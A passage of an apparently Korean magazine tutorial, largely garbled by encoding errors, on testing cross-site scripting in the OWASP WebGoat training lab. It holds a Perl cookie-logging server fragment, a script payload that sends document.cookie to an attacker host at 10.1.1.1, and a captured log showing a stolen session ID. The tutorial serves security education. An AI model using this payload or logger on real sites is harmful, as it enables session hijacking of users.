printf LOGFILE "From: $addr_str\n";
my $os_code="";
my $ie_code="";
spawn sub
{
{
while(<STDIN>)
{
if($debug>0)
{
print STDERR $_;
}
print LOGFILE $_;
if(/^\r\n$/)
{
last;
}
} #while(<STDIN>)
my $mon_body_message="";
my $mon_body_file="/var/www/mon.html";
if(open(MON_BODY,"<$mon_body_file"))
{
my @lines=<MON_BODY>;
$mon_body_message=join ' ',@lines;
close(MON_BODY);
}
my $target_message_to_send="$http_response_header$mon_body_message";
my $target_message_to_send=sprintf $http_moved_response_header,"$redirection_page";
if($debug>2)
{
printf STDERR $target_message_to_send;
}
print $target_message_to_send;
close(STDIN);
}
}
}
sub spawn {
my $coderef=shift;
unless(@_ == 0 && $coderef && ref($coderef) eq 'CODE'){
printf "what the hell??\n";
confess "usage: spawn CODEREF";
}
my $pid;
if(!defined($pid=fork)){
return;
}elsif($pid)
{
return; #parent
}
#child
open(STDIN,"<&Client") || die "can't dup client to stdin";
open(STDOUT,">&Client") || die "can't dup client to stdout";
system "play RA.wav";
exit &$coderef();} | |
 |
WebGoatÀ» »ç¿ëÇÑ Å×½ºÆ®
WebGoat´Â OWASP¿¡¼ ¸¸µç À¥ ¾ÖÇø®ÄÉÀÌ¼Ç º¸¾È ±³À°¿ë ½Ã½ºÅÛÀÌ´Ù. PC³ª ¸®´ª½º µî¿¡ °£´ÜÈ÷ ¼³Ä¡ÇØ À¥ ºê¶ó¿ìÀú¸¦ »ç¿ëÇØ º¸¾È¿¡ °üÇÑ ¿©·¯ Áö½ÄµéÀ» ü°èÀûÀ¸·Î ½ÀµæÇÏ°í ½ÇÁ¦ Å×½ºÆ®ÇØ º¼ ¼ö ÀÖ´Ù. ÀÌ ÅøÀ» »ç¿ëÇØ XSS¿¡ ´ëÇØ¼ ¾ÆÁÖ °£´ÜÇÑ Å×½ºÆ®¸¦ ÁøÇàÇß´Ù.
¼³Ä¡Çϱâ
 |
| <ȸé 1> ÀνºÅç Ãʱâ ȸé |
WebGoat¸¦ ¼³Ä¡ÇÏ´Â °úÁ¤Àº ´ÙÀ½°ú °°ÀÌ ¼øÂ÷ÀûÀ¸·Î ÁøÇàÇϸé, <ȸé 1>°ú °°ÀÌ ÀνºÅçÀÌ ½ÃÀ۵ȴÙ. µðÆúÆ® ¿É¼ÇÀ» »ç¿ëÇϵµ·Ï Çϰí, ÆÄÀÏÀ» °ãÃÄ ¾µÁö ¹°¾îº¸¸é °ãÃÄ ¾²µµ·Ï ÇÑ´Ù.
[1] Prerequisite
´ÙÀ½ µÎ ÆÄÀÏÀ» ´Ù¿î·ÎµåÇÑ´Ù.
- j2sdk-1_4_2_05-windows-i586-p.exe ÆÄÀÏÀ» jdk »çÀÌÆ®(http://java.sun.com/j2se/1.4.2/download.html)¿¡¼ ´Ù¿î¹Þ´Â´Ù.
- http://cvs.sourceforge.net/viewcvs.py/*checkout*/owasp/webgoat/dist/
install_WebGoat-3.0_windows.jar?rev=1.4
[2] JDK ÀνºÅç
JDK¸¦ ÀνºÅçÇÑ´Ù. Ç¥ÁØÀûÀÎ ¿É¼ÇÀ» »ç¿ëÇÑ´Ù.
[3] WebGoat ÀνºÅç
install_WebGoat-3.0_windows.jarÀ» ÀÌ¹Ì ÀνºÅçÇÑ jdk¸¦ »ç¿ëÇØ ÀνºÅçÇÑ´Ù. ȯ°æ º¯¼ö¸¦ ¸ÂÃß°í ÁøÇàÇÑ´Ù.
set JAVA_HOME=C:\j2sdk1.4.2_05
java -jar install_WebGoat-3.0_windows.jar
»ç¿ëÇϱâ
¾ÆÆÄÄ¡ ÅèĹ 4.1À» ¸Þ´º¸¦ ÅëÇØ¼ ½ÇÇàÇÑ´Ù. ´ÙÀ½°ú °°Àº URL·Î Á¢±ÙÇÑ´Ù. guest/guest·Î ·Î±×ÀÎÇÏ¸é µÈ´Ù.
http://localhost:8080/WebGoat
/attack
 |
| <ȸé 2> ÅèĹ ½ÃÀÛÇϱâ |
 | |  |
| <ȸé 3> WebGoatÀ¸·ÎÀÇ ·Î±×ÀÎ | | <ȸé 4> guest·Î ·Î±×ÀÎ |
XSS Å×½ºÆ®
<ȸé 5>¿Í °°ÀÌ XSS ½ºÅ©¸³Æ®¸¦ ÀÔ·ÂÇÑ´Ù. °Ô½Ã¹°À» È®ÀÎÇÑ °á°ú <ȸé 6>°ú °°ÀÌ XSS°¡ ¹ß»ýÇß´Ù. ±× ´ÙÀ½ Ç׸ñÀÎ ¹ÝÀÀ¼º XSS¸¦ Å×½ºÆ®ÇÑ´Ù. <ȸé 7>°ú °°ÀÌ XSS ½ºÅ©¸³Æ®¸¦ ÀÔ·ÂÇÑ´Ù. ÆûÀ» ¼ºê¹ÔÇÏÀÚ¸¶ÀÚ <ȸé 8>¿¡¼¿Í °°ÀÌ XSS ½ºÅ©¸³Æ®°¡ ½ÇÇàµÈ´Ù.
 | |  |
| <ȸé 5> XSS Å×½ºÆ® ȸé | | <ȸé 6> XSS °á°ú |
 | |  |
| <ȸé 7> XSS µ¥ÀÌÅÍ ÀÔ·Â | | <ȸé 8> XSS ¹ß»ý |
ÄíŰ ÈÉÄ¡±â
alert´Â ´ÜÁö »ç¿ëÀÚÀÇ È¸é¿¡ ³»¿ëÀ» »Ñ·ÁÁÖ´Â ÇÔ¼ö·Î¼ °ø°ÝÀÚ¿¡°Ô ¾Æ¹«·± Á¤º¸µµ ÁÖÁö ¾Ê´Â ´ÜÁö °ËÁõÀ» À§ÇÑ ÄÚµåÀÌ´Ù. ½ÇÁ¦·Î Äí۸¦ »©µ¹¸± ¼ö ÀÖ´ÂÁö¸¦ ´ÙÀ½°ú °°Àº ½ºÅ©¸³Æ®¸¦ »ç¿ëÇØ Å×½ºÆ®ÇØ º»´Ù.
<script>document.location.replace
('http://10.1.1.1:8080/cookie.cgi?'+document.cookie+'&'+document.URL);
</script>
<±×¸² 3>°ú °°Àº ÄíŰ ÈÉÄ¡±â ½Ã³ª¸®¿À¸¦ »ç¿ëÇÑ´Ù. ¸ÕÀú ·Î°Å¸¦ °ø°ÝÀÚÀÇ ½Ã½ºÅÛ¿¡¼ µ¿ÀÛ½ÃŲ´Ù(<ȸé 9>). <ȸé 10>°ú °°ÀÌ °Ô½ÃÆÇ ½Ã½ºÅÛ¿¡ XSS ½ºÆ®¸µÀ» ÀÔ·ÂÇÑ´Ù. °ø°Ý ´ë»óÀÌ ¸Þ½ÃÁö¸¦ È®ÀÎÇÑ´Ù(<ȸé 11>). °ø°Ý ´ë»óÀÇ À¥ ºê¶ó¿ìÀú¿¡¼ ÆäÀÌÁö ¸®´ÙÀÌ·º¼ÇÀÌ ÀϾÙ(<ȸé 12>). ´ÙÀ½Àº ÀÌ·± °úÁ¤À» ÅëÇØ ¾ò¾î³½ Äí۸¦ Æ÷ÇÔÇÑ ·Î±ë µ¥ÀÌÅÍÀÌ´Ù.
 |
| <±×¸² 3> ÄíŰ ÈÉÄ¡±â ½Ã³ª¸®¿À |
 | |  |
| <ȸé 9> ·Î°Å ¹ÙÀεù | | <ȸé 10> ½ºÆ®¸µ ÀÔ·Â |
 | |  |
| <ȸé 11> ¸Þ½ÃÁö È®ÀÎ | | <ȸé 12> ÆäÀÌÁö ¸®´ÙÀÌ·º¼Ç |
½ÇÁ¦ ÄíŰ ºÎºÐÀº "JSESSIONID=C017B97A3E7981C027A1B6AA555A064E" ÀÌ´Ù. ÀÌ Äí۸¦ ÀÌ¿ëÇØ ÇØ´ç »ç¿ëÀÚÀÇ ¼¼¼ÇÀ» ÈÉÃij»´Â °ÍÀÌ °¡´ÉÇÏ´Ù.
From: 10.1.1.100
GET /cookie.cgi?JSESSIONID=C017B97A3E7981C027A1B6AA555A064E&
http://localhost:8080/WebGoat/attack?Num=31 HTTP/1.1^M
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shock
wave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*^M
Accept-Language: ko^M
Accept-Encoding: gzip, deflate^M
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)^M
Host: 10.1.1.1:8080^M
Connection: Keep-Alive^M
^M
º°°Å ¾Æ´Ñ °Í °°Áö¸¸ Ä¡¸íÀûÀÎ!
À̹ø È£¿¡¼´Â °¡Àå ½Ç»ýȰ¿¡ ¿µÇâ·ÂÀÌ Å« ÁÖÁ¦ ÁßÀÇ ÇϳªÀÎ XSS¿¡ ´ëÇØ¼ ¾Ë¾ÆºÃ´Ù. ¾ÆÁÖ ¸»µµ ¾È µÇ´Â ÁÖÁ¦ÀÎ µí ÇÏÁö¸¸ ½ÇÁ¦·Î À̸¦ ÀÌ¿ëÇÑ °ø°ÝÀº ¾ÆÁÖ Ä¡¸íÀûÀÌ´Ù. ´õ Å« ¹®Á¦´Â ÀÌ Ãë¾àÁ¡ÀÇ °ø°Ý ´ë»óÀÌ ¸ðÈ£ÇØ¼ ¹æÈº® µîÀÇ º¸¾È ¼Ö·ç¼ÇÀ¸·Î´Â ¹æÁöÇÏ´Â °Í ÀÚü°¡ ºÒ°¡´ÉÇÏ´Ù´Â °ÍÀÌ´Ù.
À¥ ¾ÖÇø®ÄÉÀÌ¼Ç ¹æÈº® µîÀ¸·Î´Â ¾î´À Á¤µµ±îÁö ¹æÁö°¡ µÉÁöµµ ¸ð¸£°Ú´Ù. ½ºÅ©¸³Æ® °°Àº ÀÚÀ¯µµ°¡ ³ôÀº ÆÐÅÏÀ» ÀÏÀÏÀÌ °¨ÁöÇÏ´Â °ÍÀÌ ±×·¸°Ô ¸¸¸¸ÇÑ ÀÏÀº ¾Æ´Ò °ÍÀÌ´Ù. ±×·¸´Ù°í ¸ðµç À¥ ¾ÖÇø®ÄÉÀ̼ǵéÀ» ¡®XSS Free¡¯·Î ¸¸µå´Â °ÍÀº »ç½Ç»ó °ÅÀÇ ºÒ°¡´É¿¡ °¡±î¿î ÀÏÀÌ´Ù. ¾îµð¿¡¼±°¡ ¹®Á¦°¡ ¹ß»ýÇÒ ¼ÒÁö°¡ ¹Ýµå½Ã Àֱ⠸¶·ÃÀÌ´Ù.
º¸¾ÈÀ̶ó´Â ÁÖÁ¦ ¾Æ·¡¿¡ ¿©·¯ °¡Áö ¼ºêÄ«Å×°í¸®°¡ Á¸ÀçÇÑ´Ù. °á±¹ º¸¾ÈÀº °ÅÀÇ ¸ðµç ITÀÇ ºÐ¾ßµéÀÌ ¼ºêÄ«Å×°í¸®·Î Æ÷ÇԵȴÙ. XSS´Â À¥ ¾ÖÇø®ÄÉÀ̼ÇÀ̶ó´Â ¼ºêÄ«Å×°í¸®¿¡ ÇØ´çÇÏ´Â º¸¾È Ãë¾à¼ºÀ¸·Î¼ ÃÖ±Ù¿¡ À¯ÇàÇß´ø Á¶·ù¶ó°í º¼ ¼ö ÀÖ´Ù. ÀÌ·¸°Ô º° °Í ¾Æ´Ñ °Íó·³ º¸¾È Ãë¾à¼ºÀº Åö Æ¢¾î ³ª¿ÀÁö¸¸ ±× ÆÄÀåÀº Á¤¸»·Î Å©°í °¡²ûÀº Á¤º¸ ÀÎÇÁ¶ó ÀÚü¸¦ À§Çè¿¡ ºü¶ß¸®±âµµ ÇÑ´Ù.
´õ¿í ³°¨ÇÑ °ÍÀº ±×·¯ÇÑ Ãë¾àÁ¡À» ÇØ°áÇÒ ¸¸ÇÑ ¼Ö·ç¼ÇÀÌ Áï°¢ ³ª¿À´Â °ÍÀÌ ¾Æ´Ï¶ó ¸î ³âÀÇ ½Ã°£À» µÎ°í ½ÃÀå¿¡ ³ªÅ¸³´Ù´Â °ÍÀÌ´Ù. ±× ±â°£ µ¿¾È »ç¿ëÀÚµéÀº ÇÊ¿¬ÀûÀ¸·Î °ø°ÝÀÇ À§Çè¿¡ ³ëÃâµÇ°Ô µÈ´Ù. ±×¸¸Å Á¤º¸ÀÇ ¹Ù´Ù´Â ¾ÆÁ÷±îÁö´Â À§ÇèÇÑ Àå¼Ò°¡ µÉ ¼ö¹Û¿¡ ¾ø´Â ÀÌÀ¯ÀÌ´Ù. ´õ±¸³ª XSS °°Àº °æ¿ì¿¡´Â ÆÐÄ¡¸¦ ¿½ÉÈ÷ ÇÑ´Ù°í ÇØ°áµÇ´Â °Íµµ ¾Æ´Ï´Ï ´õ¿í ³°¨Çϱâ±îÁö ÇÏ´Ù.
°á±¹ ÀÌ·¯ÇÑ Ãë¾à¼ºÀÇ ¹ß°ß°ú ÇØ°áÀÇ °úÁ¤µéÀ» ´õ À¯¿¬ÇÏ°í ºü¸£°Ô ¸¸µå´Â °ÍÀÌ º¸¾È ÄÁ¼³ÅÏÆ®ÀÇ ÀÓ¹«°¡ ¾Æ´Ñ°¡ ÇÑ´Ù. Âü, ÄíŰ Å»Ãë °úÁ¤¿¡¼ ¾Æ¸¶µµ ¾Õ¿¡¼ ¼Ò°³ÇÑ ÄíŰ Å»Ãë¿ë ½ºÅ©¸³Æ®°¡ ÀԷµÇÁö ¾ÊÀ» °ÍÀÌ´Ù. ±× ºÎºÐÀº µ¶ÀÚÀÇ ¼÷Á¦·Î ³²°Ü µÎ°Ú´Ù. ±âÁ¸ÀÇ ½ºÆ®¸µ¿¡ Á¶±Ý º¯ÇüÀ» Áà¾ß ÇÑ´Ù. @
* ÀÌ ±â»ç´Â ZDNet KoreaÀÇ ÀÚ¸ÅÁöÀÎ ¸¶ÀÌÅ©·Î¼ÒÇÁÆ®¿þ¾î¿¡ °ÔÀçµÈ ³»¿ëÀÔ´Ï´Ù.